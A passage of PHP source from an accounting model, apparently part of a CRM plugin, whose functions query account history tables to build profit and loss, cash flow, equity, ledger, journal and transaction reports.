$this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'split' => $v['split'] != 0 ? (isset($account_name[$v['split']]) ? $account_name[$v['split']] : '') : '-Split-', 'description' => $v['description'], 'customer' => $v['customer'], 'amount' => $am, 'balance' => $balance + $am, ]; $amount += $am; $balance += $am; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_profit_and_loss_detail_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); $data_report[$data_key][] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'balance' => $balance, 'details' => $node, 'child_account' => $child_account]; $total += $amount; $balance_total += $balance; } } $data_total[$data_key] = ['amount' => $total, 'balance' => $balance_total]; } return ['data' => $data_report, 'total' => $data_total, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data profit and loss year to date comparison * @param array $data_filter * @return array */ public function get_data_profit_and_loss_year_to_date_comparison($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $last_from_date = date('Y-01-01'); $last_to_date = date('Y-03-t'); $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date_format(datecreated, \'%Y-%m-%d\') >= "' . $last_from_date . '" and date_format(datecreated, \'%Y-%m-%d\') <= "' . $last_to_date . '")'); $py_account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $py_credits = $py_account_history->credit != '' ? $py_account_history->credit : 0; $py_debits = $py_account_history->debit != '' ? $py_account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_profit_and_loss_year_to_date_comparison_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $data_report[$data_key][] = ['name' => $name, 'this_year' => $credits - $debits, 'last_year' => $py_credits - $py_debits, 'child_account' => $child_account]; }else{ $data_report[$data_key][] = ['name' => $name, 'this_year' => $debits - $credits, 'last_year' => $py_debits - $py_credits, 'child_account' => $child_account]; } } } } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data profit and loss * @param array $data_filter * @return array */ public function get_data_profit_and_loss($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_profit_and_loss_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $data_report[$data_key][] = ['name' => $name, 'amount' => $credits - $debits, 'child_account' => $child_account]; }else{ $data_report[$data_key][] = ['name' => $name, 'amount' => $debits - $credits, 'child_account' => $child_account]; } } } } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data statement of cash flows * @param array $data_filter * @return array */ public function get_data_statement_of_cash_flows($data_filter){ $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; $data_accounts['cash_flows_from_operating_activities'] = []; $data_accounts['cash_flows_from_financing_activities'] = []; $data_accounts['cash_flows_from_investing_activities'] = []; $data_accounts['cash_and_cash_equivalents_at_beginning_of_year'] = []; foreach ($account_type_details as $key => $value) { if(isset($value['statement_of_cash_flows'])){ $data_accounts[$value['statement_of_cash_flows']][] = $value; continue; } if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ if($value['id'] == 13){ $data_accounts['current_assets_3'][] = $value; }elseif($value['id'] == 3 || $value['id'] == 6){ $data_accounts['current_assets_2'][] = $value; }else{ $data_accounts['current_assets_1'][] = $value; } } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ if($value['id'] == 21 || $value['id'] == 26){ $data_accounts['fixed_assets_2'][] = $value; }else{ $data_accounts['fixed_assets_1'][] = $value; } } if($value['account_type_id'] == 5){ if($value['id'] != 31){ $data_accounts['non_current_assets_2'][] = $value; }else{ $data_accounts['non_current_assets_1'][] = $value; } } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ if($value['id'] != 63 && $value['id'] != 64){ $data_accounts['non_current_liabilities_2'][] = $value; }else{ $data_accounts['non_current_liabilities_1'][] = $value; } } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); if($val['id'] == 13){ $this->db->where('(rel_type != "invoice" and rel_type != "expense" and rel_type != "payment")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_statement_of_cash_flows_recursive([], $val['id'], $value['account_type_id'], $value['id'], $from_date, $to_date); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 10 || $value['account_type_id'] == 8 || $value['account_type_id'] == 7 || $value['account_type_id'] == 4 || $value['account_type_id'] == 5 || $value['account_type_id'] == 6 || $value['account_type_id'] == 2 || $value['account_type_id'] == 9 || $value['account_type_id'] == 1){ $data_report[$data_key][] = ['account_detail_type_id' => $value['id'], 'name' => $name, 'amount' => $credits - $debits, 'child_account' => $child_account]; $total += $credits - $debits; }else{ $data_report[$data_key][] = ['account_detail_type_id' => $value['id'], 'name' => $name, 'amount' => $debits - $credits, 'child_account' => $child_account]; $total += $debits - $credits; } } } $data_total[$data_key] = $total; } $income = $data_total['income'] + $data_total['other_income']; $expenses = $data_total['expenses'] + $data_total['other_expenses'] + $data_total['cost_of_sales']; $net_income = $income - $expenses; return ['data' => $data_report, 'total' => $data_total, 'net_income' => $net_income, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data statement of changes in equity * @param array $data_filter * @return array */ public function get_data_statement_of_changes_in_equity($data_filter){ $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_statement_of_changes_in_equity_recursive([], $val['id'], $from_date, $to_date, $accounting_method); $data_report[$data_key][] = ['account_detail_type_id' => $value['id'], 'name' => $name, 'amount' => $credits - $debits, 'child_account' => $child_account]; $total += $credits - $debits; } } $data_total[$data_key] = $total; } return ['data' => $data_report, 'total' => $data_total, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data deposit detail * @param array $data_filter * @return array */ public function get_data_deposit_detail($data_filter){ $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; $balance_total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); $this->db->where('((rel_type = "payment" and debit > 0) or (rel_type = "deposit" and credit > 0))'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($value['account_type_id'] == 10 || $value['account_type_id'] == 9 || $value['account_type_id'] == 8 || $value['account_type_id'] == 7){ $amount += $v['credit'] - $v['debit']; $am = ($v['credit'] - $v['debit']); }else{ $amount += $v['debit'] - $v['credit']; $am = ($v['debit'] - $v['credit']); } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'description' => $v['description'], 'customer' => $v['customer'], 'debit' => $v['debit'], 'credit' => $v['credit'], 'amount' => $am, ]; } $child_account = $this->get_data_deposit_detail_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date); $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $data_report[$data_key][] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'details' => $node, 'child_account' => $child_account]; $total += $amount; $balance_total += $balance; } } $data_total[$data_key] = ['amount' => $total, 'balance' => $balance_total]; } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data income by customer summary * @return array */ public function get_data_income_by_customer_summary(){ $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } $list_customer = []; foreach ($data_accounts as $data_key => $data_account) { $total = []; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit, customer'); $this->db->group_by('customer'); $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('(customer != 0)'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); foreach ($account_history as $v) { $credits = $v['credit'] != '' ? $v['credit'] : 0; $debits = $v['debit'] != '' ? $v['debit'] : 0; if(isset($total[$v['customer']])){ $total[$v['customer']] += $credits - $debits; }else{ $total[$v['customer']] = $credits - $debits; } if(!in_array($v['customer'], $list_customer)){ $list_customer[] = $v['customer']; } } } } $data_total[$data_key] = $total; } return ['list_customer' => $list_customer, 'total' => $data_total, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data check detail * @param array $data_filter * @return array */ public function get_data_check_detail($data_filter){ $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('account', $val['id']); $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('rel_type', 'expense'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $data_report[$data_key][] = ['account_detail_type_id' => $value['id'], 'name' => $name, 'details' => $account_history]; } } } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data account list * @param array $data_filter * @return array */ public function get_data_account_list($data_filter){ $account_types = $this->get_account_types(); $detail_types = $this->get_account_type_details(); $account_type_name = []; $detail_type_name = []; foreach ($account_types as $key => $value) { $account_type_name[$value['id']] = $value['name']; } foreach ($detail_types as $key => $value) { $detail_type_name[$value['id']] = $value['name']; } $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_account_list_recursive([], $val['id'], $value['account_type_id'], $account_type_name, $detail_type_name); $_account_type_name = isset($account_type_name[$val['account_type_id']]) ? $account_type_name[$val['account_type_id']] : ''; $_detail_type_name = isset($detail_type_name[$val['account_detail_type_id']]) ? $detail_type_name[$val['account_detail_type_id']] : ''; $data_report[$data_key][] = ['number' => $val['number'], 'description' => $val['description'], 'type' => $_account_type_name, 'detail_type' => $_detail_type_name, 'name' => $name, 'amount' => $debits - $credits, 'child_account' => $child_account]; $total += $debits - $credits; } } $data_total[$data_key] = $total; } return ['data' => $data_report, 'total' => $data_total]; } /** * get data general ledger * @return array */ public function get_data_general_ledger($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $from_date = date('Y-01-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $accounts = $this->accounting_model->get_accounts(); $account_name = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; $balance_total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 10 || $value['account_type_id'] == 9 || $value['account_type_id'] == 8 || $value['account_type_id'] == 7 || $value['account_type_id'] == 6){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'split' => $v['split'] != 0 ? (isset($account_name[$v['split']]) ? $account_name[$v['split']] : '') : '-Split-', 'description' => $v['description'], 'customer' => $v['customer'], 'debit' => $v['debit'], 'credit' => $v['credit'], 'amount' => $am, 'balance' => $balance + $am, ]; $amount += $am; $balance += $am; } $child_account = $this->get_data_general_ledger_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $data_report[$data_key][] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'balance' => $balance, 'details' => $node, 'child_account' => $child_account]; $total += $amount; $balance_total += $balance; } } $data_total[$data_key] = ['amount' => $total, 'balance' => $balance_total]; } return ['data' => $data_report, 'total' => $data_total, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data journal * @return array */ public function get_data_journal($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $accounts = $this->accounting_model->get_accounts(); $account_name = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; } $data_report = []; $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->order_by('date', 'asc'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $balance = 0; $amount = 0; foreach ($account_history as $v) { $data_report[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'name' => (isset($account_name[$v['account']]) ? $account_name[$v['account']] : ''), 'description' => $v['description'], 'customer' => $v['customer'], 'debit' => $v['debit'], 'credit' => $v['credit'], ]; } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data recent transactions * @return array */ public function get_data_recent_transactions($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $accounts = $this->accounting_model->get_accounts(); $account_name = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('account', $val['id']); $this->db->where('((debit > 0 and (rel_type != "expense" and rel_type != "transfer")) or (credit > 0 and (rel_type = "expense" or rel_type = "transfer")))'); $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->order_by('rel_type,date', 'asc'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); foreach ($account_history as $v) { if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 10 || $value['account_type_id'] == 9 || $value['account_type_id'] == 8 || $value['account_type_id'] == 7 || $value['account_type_id'] == 6){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $data_report[$v['rel_type']][] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'name' => (isset($account_name[$v['account']]) ? $account_name[$v['account']] : ''), 'description' => $v['description'], 'customer' => $v['customer'], 'amount' => $am, ]; } } } } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data transaction detail by account * @return array */ public function get_data_transaction_detail_by_account($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $accounts = $this->accounting_model->get_accounts(); $account_name = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { 